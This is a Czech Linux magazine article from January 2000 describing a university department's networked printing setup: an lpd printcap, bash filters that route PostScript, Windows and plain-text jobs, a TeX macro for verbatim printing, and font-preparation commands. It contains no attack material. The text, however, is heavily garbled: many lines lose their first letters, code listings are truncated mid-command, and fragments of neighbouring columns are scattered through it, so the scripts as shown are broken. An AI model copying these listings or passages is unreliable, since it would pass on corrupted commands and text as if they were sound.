nı́ch nabı́dek se najde provázánı́ skutečného výstupnı́-
ho portu tiskárny s DOSovým logickým portem LPT1
až LPT nevı́m kolik. Ten skutečný výstupnı́ port může
být fyzicky na tiskárně nebo to může být odkaz na sı́-
t’ový server a tiskárnu na něm. Z DOSu ve Woknous se
16
pak dajı́ posı́lat data do uvedeného logického portu, kte-
rá jsou přesměrována do výstupnı́ho portu bez žádné in-
terpretace, prostě tak, jak jsou. Takže uživatel Woknous
může v DOSu poslat text na řádkovou tiskárnu pomocı́
copy soubor.txt lpt1 nebo může PostScriptový sou-

or vytisknout přı́mo bez drbánı́ se pravou rukou za levým
uchem povelem copy soubor.ps lpt2.

Věčný DOS

U DOSových aplikacı́ se předpokládalo, že každá aplikace
ude umět vygenerovat jazyk všech tiskáren, které jsou na
rhu. To je velmi špatná koncepce, která činı́ DOSové apli-

kace závislé na typu tiskárny. DOS je tedy použitelný jen
pro výstup na řádkových tiskárnách nebo při použitı́ apli-
kacı́, které náhodou generujı́ jazyk shodný s jazykem našı́
tiskárny.

Při propojenı́ DOSových klientů s Unixovými tiskový-
mi servery existuje ještě jeden problém, na který jsem už

dysi dávno narazil při připojovánı́ DOSových klientů přes
PCNFS. Zatı́mco Unixový program lpr vytvořı́ komplet-
ně „zapouzdřenou“ tiskovou úlohu (má jasně definovaný
začátek a konec), DOSová aplikace nic takového nedělá.
Ta prostě posı́lá do portu tiskárny data. Někdy se odml-
ˇı́, protože se třeba zamyslı́ nad nějakým mezivýpočtem, a
pak pokračuje v zası́lánı́ dat do portu. Otázka, kde kon-
čı́ jedna úloha a začı́ná druhá je pro DOS nezajı́mavá. Ve
vı́ceuživatelských a vı́ceúlohových systémech nás ale tato
otázka silně zajı́má. Proto tiskové servery, které přijı́majı́
úlohu z DOSu, majı́ možnost konfigurace časové prodlevy,
po jejı́mž překročenı́ server shledá úlohu za ukončenou a
apouzdřı́ ji. Prodleva bývá nastavena zhruba na půl minu-

ty. Uživatel tisknoucı́ z DOSu pak jako střela vyběhne ze
vé kanceláře k tiskárně, kde půl minuty musı́ přešlapovat,
ež server ukončı́ přı́jem úlohy a úlohu začne tisknout. Uži-
atel při přešlapovánı́ mudruje něco o tom, že informace by
e po sı́t’ových kabelech měly šı́řit rychlostı́ světla. Delšı́ ča-

sová prodleva by znamenala delšı́ přešlapovánı́ DOSových
živatelů před tiskárnami a vı́ce mudrovánı́. Na druhé stra-
ě kratšı́ prodleva by mohla znamenat nepřı́jemné roztrže-
ı́ úlohy v mı́stě, kde se DOSová aplikace pouze zamyslı́,
rotože je tak blbě naprogramovaná. Druhá část úlohy by
ak nemusela mı́t správně definovanou hlavičku a mohla
y způsobit, že by byl přešlapujı́cı́ a mudrujı́cı́ uživatel za-
alen tunami nesprávně potištěných papı́rů a jeho důvěra
počı́tačovou techniku by klesla na nulu.

ı́t’ové propojenı́ tiskáren

nixový tiskový démon lpd umı́ přijmout tiskovou úlohu
e sı́tě nebo z lokálu, uložit ji do spooleru, aplikovat na
ednotlivé úlohy ze spooleru přı́padný filtr, přeposlat úlohu
olegovi démonovi z jiného počı́tače kdekoli v TCP/IP sı́ti
konečně poslat úlohy na lokálnı́ port, ke kterému je při-

ojena tiskárna. Programem lpr může uživatel tiskovou
´lohu vytvořit a pokud se nestačila vytisknout, může ji uži-
atel zrušit pomocı́ programu lprm. Konečně program lpc
e určen pro správu tiskáren (pozastavenı́ tisku, přerovnánı́
iskové fronty, restart démona atd.) a většinu svých funkcı́
možňuje jen správci systému. Toto programové vybavenı́

e staré jak Metuzalém, ale je stále nenahraditelné.
Na našı́ katedře je šest veřejně použı́vaných tiskáren

mı́stěných ve společné mı́stnosti. Jedna je připojena přı́-
o na linuxový server paralelnı́m kabelem (který vede krz



Linuxové noviny 01/2000

ı́na

r/s

spo

poo

r/s

spo

pis

n
z

V
ˇ

u
N

c
m

a

k
b

# printcap
# řádky začı́najı́ bez mezer a pokračovacı́ řádky zač

lj4|LaserJet4:\
:lp=/dev/lp0:\
:mx#50000:rw:sh:\
:sd=/var/spool/lj4:\
:lf=/var/adm/lj4-errs:\
:rg=lj4user:

dj8|dj880c|DeskJet880Color:\
:lp=/dev/null:\
:mx#50000:sh:\
:sd=/var/spool/dj8:\
:if=/etc/tisky/filter-dj8:\
:rg=dj8user:

dj8raw:\
:lp=:rm=printservrik:mx#50000:rp=L2:sd=/va

ep24:\
:lp=:rm=starysun:mx#50000:rp=ep24:sd=/var/

lj3:\
:lp=:rm=starysun:mx#50000:rp=lj3:sd=/var/s

lp|fs1|FS1750:\
:lp=/dev/null:\
:mx#50000:sh:\
:sd=/var/spool/fs1:\
:if=/etc/tisky/filter-fs1:\
:rg=fs1user:

fs1raw:\
:lp=:rm=printservrik:mx#50000:rp=L1:sd=/va

cp6|cp660|CanonCP660:\
:lp=:rm=cp660:mx#50000:rp=xjprint:sd=/var/

cp6d|cp6dup|cp660dup:\
:lp=/dev/null:\
:mx#50000:sh:\
:sd=/var/spool/cp6d:\
:if=/etc/tisky/filter-cp6d:\
:rg=cp6user:

cp6m|cp6manual|cp660manual:\
:lp=/dev/null:\
:mx#50000:sh:\
:sd=/var/spool/cp6m:\
:if=/etc/tisky/filter-cp6m:\
:rg=cp6user:

Vý

zed’ a je poněkud delšı́, než připouštı́ norma ajtripl-ı́, ale
problémy se nedostavily). Dalšı́ dvě tiskárny jsou připoje-

y ke staršı́mu SUNu jednou paralelně a jednou seriově krz
ed’, dalšı́ tiskárna má vlastnı́ sı́t’ovou kartu a k poslednı́m

dvěma jsme dokoupili sı́t’ový printservřı́k.
Printservřı́k je taková sympatická tichá a malinká kra-

bička, na nı́ž z jedné strany kouká konektor pro připojenı́
ke 100MB sı́ti a na druhé straně vidı́me tři paralelnı́ porty.

yužil jsem z nich zatı́m jenom dva. Při nákupu tohoto za-
rı́zenı́ jsem se neobešel bez problémů. Na můj dotaz, zda
nabı́zený printservřı́k umı́ po sı́ti komunikovat stejně jako

nixové lpd, mi žádný prodavač nebyl schopen odpovědět.
ěkteřı́ z nich začali dokonce plácat něco o tiskových ovla-

dačı́ch k jednotlivým tiskárnám, čı́mž naznačili, že totál-
jı́ tabelátorem

pool/dj8raw:rg=daemon:

ol/ep24:rg=ep24user:

l/lj3:rg=lj3user:

pool/fs1raw:rg=fs1user:

ol/cp6:rg=cp6user:

1

ně nevědı́, která bije. Je pravda, že jsem si mohl technic-
kou specifikaci různých výrobků přečı́st na Internetu, ale
chtěl jsem si vyzkoušet pohotovost prodavačů. Jedna fir-
ma nám nabı́dla, že nám zařı́zenı́ na krátkou dobu zapůj-
ˇı́. Jakmile jsem otevřel manuál, věděl jsem, že printservřı́k

ůj požadavek o unixovém lpd splňuje. Šlo o Micronet
PSHX3P-B.

Škatulka naběhne v režimu, kdy sice nezná své IP čı́slo,
ale dá se jı́ toto čı́slo vnutit na libovolném Unixu pomocı́
rp -s IP.čı́slo hw:ad:re:sa. HW adresa je odvoze-

na od sériového čı́sla, které lze najı́t na spodnı́ straně kra-
bičky. Pak už se dá z krabičky pomocı́ FTP zı́skat textový

onfiguračnı́ soubor, upravit jej a poslat zpět. Bylo potře-
a dizejblovat SMB protokol, aby mi na krabičku neposı́la-
17
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#!/bin/bash

# This filter runs gs if the ’%!’ are first two ch
# Nov 1999 Petr

dd of=/tmp/pprint.$$ count=1 bs=2 2> /dev/null

if echo -n ’%!’ | cmp - /tmp/pprint.$$ > /dev/null
# The PrintJob is in PostScript, we start GhostScr
cat /tmp/pprint.$$ - | \
gs -q -sDEVICE=cdj880 -sPAPERSIZE=a4 -dNOPAUSE
-dSAFER -dBATCH -sOutputFile=- - | lpr -U $

else
# The PrintJob contains raw data, no changes are n
cat /tmp/pprint.$$ - | lpr -U $5 -Pdj8raw

fi

rm /tmp/pprint.$$

Vý

y Woknousy úlohy přı́mo. Dále jsem NEkonfiguroval bránu
gejtwej), protože lpd server v krabičce neumı́ spolupraco-
at se známým souborem hosts.lpd, tj. nelze omezit tisk

jen z vybraných mašinek. Protože nechci, aby mi na tom
isknul kdokoli z Internetu, zůstává krabička dı́ky nekonfi-
urované bráně mimo segment sı́tě našı́ katedry neviditel-

ná. Kdo chce tisknout z většı́ vzdálenosti, pošle úlohu na
lpd běžı́cı́ na našem linuxového serveru, ten ji po kontrole
hosts.lpd odmı́tne nebo akceptuje a v druhém přı́padě

ji přepošle na lpd do printservřı́ku.
Na linuxovém serveru mi běžı́ samba, která nabı́zı́ uži-

vatelům MS Woknous tisk na všech veřejných tiskárnách.
okud uživatel na klientovi konfiguruje výstupnı́ port třeba
e tvaru \\masina\fs1, samba na serveru masina prove-
e autentizaci uživatele a spustı́ lpr -Pfs1. Tisková úlo-

ha je dále zpracovávána unixovým lpd pro tiskárnu s ná-
vem fs1. Na serveru mám printcap zhruba ve tvaru, jak

ukazuje Výpis 1.

Jednoduchý filtr

Z Výpis 1 je patrné, že uživatelé majı́ vı́ce logických jmen,
než vlastnı́ch tiskáren. Zabývejme se nejprve tiskárnou
HP DeskJet880, která má logická jména dj8 a dj8raw.

ři použitı́ jména dj8 je tiskové úloze vložen do cesty filtr
pecifikovaný parametrem if. Obsah tohoto skriptu vidı́-
e na Výpis 2. Na druhé straně jméno dj8raw je použi-

to pro přı́mou komunikaci s tiskárnou bez aktivace filtru.
rotože užitı́ tiskárny dj8raw je dovoleno jen skupině da-
mon, nemohou na ni běžnı́ uživatelé tisknout přı́mo. Dı́ky
nteligenci filtru to ani nepotřebujı́. Vlastnosti filtru si nynı́

popı́šeme.
Protože je tiskárna HP DeskJet880 připojena na print-

ervřı́k, použitý filtr vlastně nenı́ v pravém slova smyslu fil-
rem s výstupem na standardnı́ výstup. Pokud by byla tis-
árna připojena dejme tomu na /dev/lp1, zrušili bychom

v printcapu jméno dj8raw a pro tiskárnu dj8 bychom
konfigurovali přı́mo lp=/dev/lp1. Ve skriptu bychom

mazali na dvou mı́stech text „| lpr -U $5 -Pdj8raw“
a mohli bychom tisknout lokálně. Tehdy by filtr skuteč-

ě četl standardnı́ vstup a přı́padně modifikovaná da-
a předával na standardnı́ výstup. Démon lpd nasměru-
18
on input.
sak

then
filter:

Pdj8raw

ed:

2

je tento výstup do zařı́zenı́ specifikovaného parametrem
lp.

Ptáte se, proč nelze zařadit filtr přı́mo pro tiskárnu, kte-
á má v printcapu konfigurováno rm=jinam pro přesmě-
ovánı́ úlohy jinému lpd démonovi? Jednoduše proto, že
tomto přı́padě démon filtr do úlohy zařadit nemumı́. Ptá-

e se proč neumı́? To já nevı́m.
Filtr z Výpis 2 má následujı́cı́ vlastnosti. Sejme pomocı́

dd z tiskové úlohy prvnı́ dva bajty a zkontroluje, zda ty-
to bajty neobsahujı́ text %!. Pokud ano, jedná se o Post-

criptovou úlohu. Každá PostScriptová úloha musı́ začı́nat
těmito znaky. V takovém přı́padě filtr nasadı́ Ghostscript.
nkoustová tiskárna HP DeskJet880 totiž sama PostScript
eumı́. Pokud ale prvnı́ dva znaky jsou jiné, jedná se o úlo-

hu, která je zřejmě přı́mo v jazyce tiskárny (vytvořil ji asi
oknousový klient). Filtr proto přı́kazem cat spojı́ odloup-

nuté dva bajty se zbytkem úlohy a bez interpretace pošle
úlohu na výstup. Výstupem je v přı́padě připojenı́ tiskárny
na printservřı́k povel lpr -U $5 -Pdj8raw, což způso-
bı́ přesměrovánı́ úlohy do printservřı́ku. Přitom vlastnictvı́
´lohy zůstává dı́ky parametru -U původnı́mu uživateli, kte-
rý ji může pomocı́ lprm ve frontě dj8raw přı́padně likvi-
dovat.

Tiskárna HP DeskJet880 nemá v současné době modul
do Ghostscriptu přı́mo v jeho distribuci. Modul naštěstı́
existuje zvlášt’ na
http://www.proaxis.com/mgelhaus/linux/software/hp880c/hp880c.html.

Lze postupovat podle návodu z této stránky a zakompi-
lovat do Ghostscriptu 5.50 nové zařı́zenı́ cdj880. Nebyly
s tı́m žádné problémy. V této souvislosti upozorňuji na to,
že napřı́klad k tiskárnám HP DeskJet7xx jsem nikde mo-
dul do Ghostscriptu nenašel, takže tyto modely jsou pro
Unix nepoužitelné. Jeden takový model na katedře už ně-
akou dobu máme a je připojen lokálně v kanceláři uživate-
e použı́vajı́cı́ho výhradně Woknous. Nic jiného se s takovou
tiskárnou dělat nedá.

Při návrhu filtrů je nutno nezapomenout na úvodnı́ spe-
ifikaci shellu pomocı́ dvojznaku #!. Jednou jsem byl leni-

vý tak učinit, protože jsem navrhoval jednořádkový filtr a
krutě jsem na to doplatil. Přitom ti mezci, co psali mano-
vé stránky pro lpd a printcap, se ani slůvkem nezmı́nili
o tom, že specifikace shellu je ve filtru povinná. Stálo mě
to několik hodin zbytečného času.

http://www.proaxis.com/mgelhaus/linux/software/hp880c/hp880c.html
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#!/bin/bash
# Nov 1999 Petr

dd of=/tmp/pprint.$$ count=1 bs=2 2> /dev/null

if echo -n ’%!’ | cmp - /tmp/pprint.$$ > /dev/null
# The PrintJob is in PostScript, we insert a duple
echo ‘date ’+%X, %d.%m %Y’‘: $5 "PS-duplex" >> /
cat /etc/tisky/duplex.ps /tmp/pprint.$$ - | lpr
rm /tmp/pprint.$$
exit

fi

# Ten dvojznak ^[ nı́že je ve skutečnosti jediný zn
if grep ’^[’ /tmp/pprint.$$ > /dev/null; then
# The PrintJob contains raw data from Windows, no
echo ‘date ’+%X, %d.%m %Y’‘: $5 "MS-Win" >> /var
cat /tmp/pprint.$$ - | lpr -U $5 -Pfs1raw
rm /tmp/pprint.$$
exit

fi

cat /tmp/pprint.$$ - > u$$.txt

if cat u$$.txt | tr ’X\000-\010\016-\031\033-\037’
grep -l X >/dev/null; then

# Binary data?
echo ‘date ’+%X, %d.%m %Y’‘: $5 "Binary" >> /va
lpr -U $5 -Pfs1raw u$$.txt
rm /tmp/pprint.$$ u$$.txt
exit

fi

Vý

Složitějšı́ filtr

Popı́šeme nynı́ zajı́mavějšı́ filtr pro tiskárnu fs1. Jedná se
o černobı́lou laserovou tiskárnu Kyocera, která umı́ Post-

cript a má duplexnı́ podavač (tj. umı́ tisknout oboustran-
ě). Protože to je tiskárna s nejlevnějšı́m provozem, rozho-
l jsem se na ni přenést hlavnı́ zátěž tisků na našı́ katedře.
roto jsem ji ztotožnil se jménem lp, následkem čehož veš-

keré tisky, ve kterých uživatel nespecifikuje tiskárnu, jsou
přesměrovány na Kyoceru. Tiskárna tedy musı́ zvládnout
jednak předžvejkanou úlohu z MS Woknous, jednak Post-
Script z Unixu a jednak musı́ emulovat řádkovou tiskárnu
pro tisk „holých“ textových souborů. Přitom tyto textové
oubory mohou být kódovány v různých češtinách a filtr by
o měl zjistit a za všech okolnostı́ vytisknout správně. Uži-
atel se nemusı́ zabývat, v jaké češtině má textový soubor
řipraven.

Filtr k této tiskárně vidı́me na Výpis 3. Pokud je úlo-
a PostScriptová, filtr k nı́ připojı́ PostScriptový pokyn pro
boustranný tisk a úlohu přepošle na výstup. Protože i ta-

to tiskárna je připojena na printservřı́k, je výstupem no-
vý povel lpr, ovšem to nás už nepřekvapuje. Soubor du-
plex.ps vidı́me na Výpis 4. Pokud by někdo chtěl méně
často orientovaný duplex (převracenı́ stránky přes kratšı́

ranu), musel by sám PostScriptový pokyn do výstupnı́ho
ouboru naeditovat. Mı́sto false settumble by napsal
rue settumble a výstup by pustil přı́mo na fs1raw,
by obešel filtr.

Je-li mezi prvnı́mi dvěma znaky úlohy znak iskejp
kód 27), jedná se o úlohu z Woknous. Pozorovánı́m jsem
sak

then
ommand:
/log/fs1-use
$5 -Pfs1raw

Escape (kód 27)

nges are possible:
g/fs1-use

[X*26]’ |\

og/fs1-use

3

jistil, že ačkoli ovladač ve Woknous generuje PostScriptový
ód, neodpustı́ si na začátku úlohy poněkud zbytečnou is-
ejp sekvenci o tom, že tisková úloha je připravena v Post-
criptu. Tiskárna této sekvenci rozumı́, takže úlohu bez in-

terpretace filtrem předáme přı́mo tiskárně. Uživatel Wok-
ous může v grafické nabı́dce ovladače zatrhnout, zda chce
uplexnı́ tisk a jaký, takže ani tuto otázku neřešı́me a požá-

dáme všechny uživatele Woknous, aby si v ovladači zatrhli
implicitně duplex, protože šetřı́me při tisku papı́rem.

%!PS-Adobe
statusdict begin true setduplexmode false
settumble end

Výpis 4

Pokud se v úloze vyskytujı́ znaky nepoužı́vané v holých
extových souborech, předpokládáme, že se jedná o binárnı́

soubor, který zřejmě vygeneroval nějaký zmatený ovladač
ve Woknous. Pokusı́me se úlohu bez interpretace vytisk-
nout, ovšem na zodpovědnost uživatele, který to spáchal.

V ostatnı́ch přı́padech se dá předpokládat, že úloha ob-
ahuje holý textový soubor a filtr bude emulovat řádkovou
iskárnu prostřednictvı́m TEXu. Nejprve se filtr pokusı́ zjis-

tit, v jaké češtině je úloha připravena. Výsledek uložı́ do
proměnné trfile. Úloha je konvertována do PostScriptu
pomocı́ TEXového formátu csplain za použitı́ konverznı́
TCX tabulky trfile.

Na Výpis 5 vidı́me TEXový soubor verbtisk.tex, kte-
ý bude zajı́mat zvláště TEXové fajnšmekry. Makro TEXu
19
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# The PrintJob contains ASCII text, we will test e
# Tři tečky nı́že (...) znamenajı́ "atd". Ve skutečn
# důsledně vypsány všechny kódy, které do testovan
# v osmičkovém tvaru, což se nedá do časopisu tisk
# jsou pak přı́liš dlouhé.
# Pro jednoduchost jsem ponechal pouze rozlišenı́ m
# Kamenických a ISO8859-2.
if cat u$$.txt | tr ’X\200-\377’ ’B[X*128]’ | grep
# Úloha obsahuje znaky nad kód 128
if cat u$$.txt | tr \
’X\200-\214\216-\227\231-\233...\367\373’ ’B
grep -l X >/dev/null; then

# Kódovánı́ nenı́ podle ISO8859-2
if cat u$$.txt | tr ’X\260-\377’ ’B[X*128]’
grep -l X >/dev/null; then

# Kódovánı́ nenı́ ani podle Kamenických
# Neznámé kódovánı́, ponecháme ISO8859-2

trfile=il2-cs
else

# Kódovánı́ je podle Kamenických
trfile=kam-cs

fi
else

# Kódovánı́ je podle ISO8859-2
trfile=il2-cs

fi
else
# Úloha neobsahuje znaky nad kód 128
# Kódovánı́ US ASCII text
trfile=il2-cs

fi

# We make PostScript via TeX
ln -s /usr/local/share/texmf/tex/plain/misc/verbti
tex -fmt=csplain -translate-file=$trfile \
\\def\\user{$5@$7}\\def\\file{u$$.txt}\\input u

echo ‘date ’+%X, %d.%m %Y’‘: $5 "Plain-text" [$trf
dvips -h duplex.ps -o - u$$ | lpr -U $5 -Pfs1raw
rm /tmp/pprint.$$ u$$.tex u$$.dvi u$$.log u$$.txt

Výpis 3 –

de řešı́ kompletnı́ verbatim tisk souboru včetně patičky
e jménem uživatele a času tisku a včetně interpretace ta-
elátorů, které majı́ vytvořit jednu nebo vı́ce mezer tak, aby
alšı́ znak začı́nal v nejbližšı́m sloupci, který je násobkem
smi.

Font cc (Courier Condensed) jsem pro TEX připravil po-
ocı́ povelů z Výpis 6. Výsledný PostScript tedy neobsahuje

ˇádné předloudované fonty a využı́vá pouze fonty vestavě-
é do PostScriptového interpretu každé tiskárny. Program
vips připravı́ výstup tak, že fonty v tiskárně nemusejı́ vů-

bec být české; akcentované znaky jsou v PostScriptovém
ódu sestaveny pomocı́ komponent. Je to tedy robustnı́ ře-
enı́. Vidı́me také, že v zájmu šetřenı́ papı́rem zařazuji pro-
ramem dvips do úlohy pokyn pro duplexnı́ tisk, takže nám
mulátor řádkové tiskárny bude tisknout jednak úhledně a

jednak oboustranně.

Vı́ce podavačů

Dalšı́ tiskárna, kterou bylo potřeba připojit, byla tiskárna
Canon CP660, barevná, laserová s možnostı́ tisku na A3
20
ding of CZ
skriptu jsou
kódovánı́ nepatřı́
t, nebot’ řádky

kódovánı́m

X >/dev/null; then

128]’ |\

tex u$$.tex

\\act\\end >/dev/null
] >> /var/log/fs1-use

račovánı́

s duplexnı́m podavačem a PostScriptem level 3. Tato tis-
árna se dodává se sı́t’ovou kartou a diskem. Je to poměrně

velké monstrum. Na ovládacı́m panelu tiskárny se dá na-
konfigurovat IP připojenı́. Dizejbloval jsem SMB a IP brá-

u ze stejných důvodů, jako u printservřı́ku. Tiskárna auto-
aticky startuje WWW server, takže plno administrativnı́ch

´konů lze dělat z WWW brousı́tka. Netskejp ale v některých
uživatelských konfiguracı́ch padal; zatı́m se mi nepodařilo
odhalit proč. Ovšem to nenı́ pro připojenı́ tiskárny do sı́tě

ejdůležitějšı́. Podstatné je, že tiskárna má svůj lpd, který
dokáže akceptovat unixové tiskové úlohy ze sı́tě.

Tiskárna má dva spodnı́ zásobnı́ky, jeden na A4 a druhý
na A3. Pokud tisková úloha obsahuje PostScriptovou in-
strukci o formátu papı́ru A3, tiskárna si automaticky vez-

e papı́r ze zásobnı́ku A3, jinak (implicitně) bere papı́r ze
zásobnı́ku A4. Povel dvips -tA3 -Pcp6 soubor tedy
působı́ tisk na papı́ry A3, zatı́mco dvips -Pcp6 soubor

vyjede úlohu na papı́rech A4.
Mimoto má tiskárna postrannı́ zásobnı́k (tzv. manuál-

nı́ podavač) a dá se jı́ PostScriptovými instrukcemi řı́ci,
aby papı́r vyjı́žděl nikoli nahoře potiskem dolů, ale napro-
i postrannı́mu zásobnı́ku potiskem nahoru. Papı́r pak mů-
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%% Fonty
\font\tt=cc at 10pt
\font\it=ptmri8z at 7pt

%% Výpočet hodiny a minuty
\newcount\hour \newcount\minute \newcount\hhour
\hour=\time \minute=\time
\divide\hour by 60
\hhour=\hour \multiply\hhour by 60
\advance\minute by -\hhour

%% Paticka
\csaccents
\footline={\it u\v zivatel: \user,\hskip4em

dne: \the\day. \the\month. \the\year,
\the\hour:\ifnum\minute<10 0\fi
\the\minute
\hfill strana: \the\pageno \hskip1cm}

%% Rozměry zrcadla
\hoffset=-1in \advance\hoffset by 2cm
\voffset=-1in \advance\voffset by .8cm
\advance\hsize by 2.7cm \advance\vsize by3.3cm
\baselineskip=11.7pt
\parindent=0pt

%% Makro pro tabelátor
\newdimen\lastlinewidth \newcount\tabwidth
\setbox0=\hbox{\tt xxxxxxxx}
\tabwidth=\wd0 %% kazdych 8 znaku je zarazka
\predisplaypenalty=10000
\postdisplaypenalty=10000
\def\tab{$$\advance\predisplaysize by-2em

\global\lastlinewidth=\predisplaysize
\abovedisplayskip=-\baselineskip

\belowdisplayskip=-\baselineskip
\predisplaysize=\maxdimen$$
\divide\lastlinewidth by\tabwidth
\advance\lastlinewidth by1sp
\multiply\lastlinewidth by\tabwidth
\hskip\lastlinewidth\null}

%% Přı́prava na verbatim
{\obeyspaces
\gdef\activespace{\obeyspaces\let =\ }
\catcode‘\^^I=13 \catcode‘\^^L=13
\gdef^^I{\tab}
\gdef^^L{\endgraf\vfill\break}
}
\def\setverb{%
\def\do##1{\catcode‘##1=12}\dospecials}

%% Načtenı́ souboru jako verbatim:
%% csplain \def\file{nazev.txt}
%% \def\user{uzivatel}\input verbtisk \act\end
\def\act{\bgroup \setverb \activespace
\catcode‘\^^I=13 \catcode‘\^^L=13
\def\par{\endgraf\leavevmode}
\obeylines \tt
\input\file\space
\egroup}

Výpis 5
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e projet z manuálnı́ho podavače krz tiskárnu zcela rovně a
ylo vyzkoušeno, že tı́mto způsobem lze protáhnout tiskár-
ou velmi tvrdé papı́ry, kterým já z legrace řı́kám překližky.

Tato dráha by se měla volit též při tisku na transparentnı́
ólie.

Protože unixový uživatel nemá k dispozici Woknousový
vladač se zaškrtávátky, kde by si mohl nastavit cestu pa-
ı́ru, zavedl jsem pro něj kromě logického jména cp6 ješ-
ě jména cp6m a cp6d. Při tisku na cp6m (CP660-manual)
řidá filtr na začátek úlohy PostScriptové instrukce k „ruč-
ı́mu“ tisku, tj. tiskárna vezme papı́r z manuálnı́ho podava-

ˇe a vyplivne jej naproti potiskem nahoru. Varianta cp6d
CP660-duplex) aktivuje jiný filtr, který přidá na začátek

´lohy PostScriptové pokyny pro oboustranný tisk.
Uživatelé tedy nemusejı́ volit způsob podávánı́ papı́ru

panelu na tiskárně, ale každá tisková úloha si nese s se-
ou definici o tom, kudy má papı́r procházet. Uživatelé si
ak vzájemně nekonkurujı́. Jeden uživatel může založit prů-
vitné fólie do manuálnı́ho podavače, zatı́mco jiný uživatel
iskne běžnou úlohu ze spodnı́ho zásobnı́ku. Na našı́ staršı́
iskárně připojené k sı́ti se mohlo stát, že uživatel přepnul
a panelu manuálnı́ podávánı́, založil fólie a než se stačil
zpamatovat, jiný uživatel mu je potisknul. To nepřispı́valo
vzájemné pohodě mezi uživateli. Proto jsem kdysi vyrá-

ěl speciálnı́ „přivlastňovacı́“ skript lpown, který způsobı́,
e tisk na tiskárně může realizovat jen uživatel, který skritp
pustil, zatı́mco úlohy ostatnı́ch uživatelů zůstaly zabloko-
ány. Protože tiskárnu občas někdo zapomněl odblokovat,
ni toto řešenı́ nepřispı́valo přı́liš k pohodě mezi uživateli.

Tiskárna CP660 má poněkud samorostlý lpd démon,
terý kašle na to, který uživatel úlohu zaslal. Jméno uživa-
ele každé úlohy se démon pokoušı́ přečı́st ze záhlavı́ úlohy
PostScriptových komentářı́ch. Pokud tam jméno uživate-

e nenajde, úloha se ve frontě v tiskárně tvářı́, jakoby patřila
živateli UNKNOWN. Považuji to za chybu v implementaci
émona v tiskárně, ale zase mě to tak moc nevadı́. Tiskárna
ytvářı́ podrobný logovacı́ soubor, kde je řečeno, kdo co a
olik černobı́lých a kolik barevných stránek a jaké velikosti
dy natisknul. Unixovı́ uživatelé ale zůstávajı́ z hlediska to-
oto souboru v přı́jemné anonymitě skryti pod společným

ménem UNKNOWN. Woknousovı́ uživatelé jsou ovšem lo-
ováni se všemi detaily, protože jejich ovladače vytvářejı́
ostScriptové komentáře přesně podle představ tiskárny.
ohl bych sice zařadit do tisku filtr, který by přidával do

iskové úlohy tyto PostScriptové komentáře i pro unixové
živatele, ale zatı́m mě okolnosti netlačı́ toto dělat.

statnı́ tiskárny

ři pohledu do printcapu z Výpis 1 vidı́me, jak jsou k li-
uxovému serveru připojeny ostatnı́ tiskárny. Lejzrovka HP

Laserjet4 je připojena přı́mo na paralelnı́ port /dev/lp0.
rotože tiskárna umı́ PostScript a nenı́ na ni potřeba emu-

ovat řádkovou tiskárnu, nenı́ v tomto přı́padě použit žádný
filtr.

Poslednı́ dvě tiskárny jsou připojeny ke starému SUNu.
iskárny i komp jsou muzejnı́ exponáty, ovšem stále funkč-
ı́. Máme je v provozu asi od roku 1993. Občas je potřeba ze
UNa utřı́t prach a kabely osvobodit od pavučin. Žádnou ji-
ou údržbu toto zařı́zenı́ nepotřebuje. Celé roky ani nevı́me,

že si to tam v koutečku pořád spokojeně funı́. Na SUNovi
sem kdysi instaloval Ghostscript (kdybych se tam podı́val,

asi bych se zhrozil, jak starověká verze to je). Obě tiskár-
ny majı́ konfigurován inteligentnı́ filtr, který podle prvnı́ch
21
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$ cd ~/prac
$ cp /usr/lib/a2ac/cscorr.tab .
$ cp /usr/lib/a2ac/xt2.enc .
$ ftp ftp.adobe.com

... zı́skáme soubor com_____.afm
$ mv com_____.afm courier.afm

... font courier se v Ghostscriptu nahrazuje f
Je tedy možné soubor courier.afm zı́skat té

$ cp /usr/share/ghostscript/fonts/n022003l.afm cou
$ vi cscorr.tab

... Upravit, aby šı́řka d’ a t’ byla stejná jak
prakticky to znamená zrušit řádky RWX

$ a2ac courier.afm cscorr.tab cscourier.afm
$ afm2tfm cscourier.afm -e 0.8 -t xt2.enc -v cc rc
$ vptovf cc.vpl cc.vf cc.tfm
$ su
# vi /usr/share/texmf/dvips/config/psfonts.map

... Přidat řádek:
rcc Courier ".8 ExtendFont"

# cp rcc.tfm /usr/share/texmf/fonts/tfm/adobe/raw/
# cp cc.tfm /usr/share/texmf/fonts/tfm/adobe/a2ac/
# cp cc.vf /usr/share/texmf/fonts/vf/adobe/a2ac/
# mktexlsr

Vý

vou znaků úlohy (%!) pozná, zda se jedná o PostScript ne-
o ne. Pokud ano, zařadı́ Ghostscript a přeložı́ úlohu podle
ı́lové tiskárny bud’ do jazyka Epsonky (24 jehlová tiskárna)

nebo do jazyka PCL (tiskárna LaserJet 3).

Monitorovánı́ tisků

ak jsem již uvedl výše, tiskárna CP660 monitoruje tiskové
ktivity Woknousových uživatelů důkladně. Bohužel, pro-
ože unixový lpd je software starý jak Metuzalém, nemá
máknuté monitorovánı́ stránek grafického tisku. Počı́tá-
ı́ řádků textových tiskových úloh je nám v dnešnı́ době
ničemu. Protože jsou ale tiskové úlohy mnohdy ve spoo-

eru už předžvejkány Woknousovými ovladači do jazyka tis-
áren, je zhola nemožné zjistit počet vytištěných stránek,

aniž bychom museli programovat interpret jazyka tiskár-
y. Kdyby všechny tiskové úlohy byly v PostScriptu, šlo by

teoreticky interpretovat je Ghostscriptem a zjistit tak po-
et vytištěných stránek. Domnı́vám se ale, že to je přı́liš ná-
ladný monitoring, zvláště pokud tiskárna je PostScriptová

a úlohu by musela interpretovat ještě jednou.
Kdysi dávno jsem udělal v rámci tiskových filtrů na sta-

rých SUNech jednoduchý monitoring tisku. Počı́tal jsem
ednotlivé úlohy každého uživatele a dobu trvánı́ tisku kaž-
é úlohy. Celkový počet úloh a součet doby trvánı́ tisku

každého uživatele jsem pak automatem zpracoval a jed-
ou měsı́čně (prvnı́ho v měsı́ci, 13 minut po půlnoci) auto-

mat poslal report ı́-mejlem naši panı́ šéfové. Počet vytiště-
ých stránek se bohužel tı́mto způsobem nedozvěděla.

Zasmáli jsme se!
Pavel Janı́k ml., 27. prosince 1999

Vánočnı́ svátky, oslavy nového roku a poněkud předčasné
slavy „nového tisı́ciletı́“ dočasně utlumily provoz v emailo-
ých konferencı́ch, ze kterých čerpám přı́spěvky do rubriky

Zasmáli jsme se!, a proto snad jen několik obrázků s ko-
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entáři. Stejně v těchto hektických dnech nemá nikdo čas
čı́st Linuxové noviny :-)

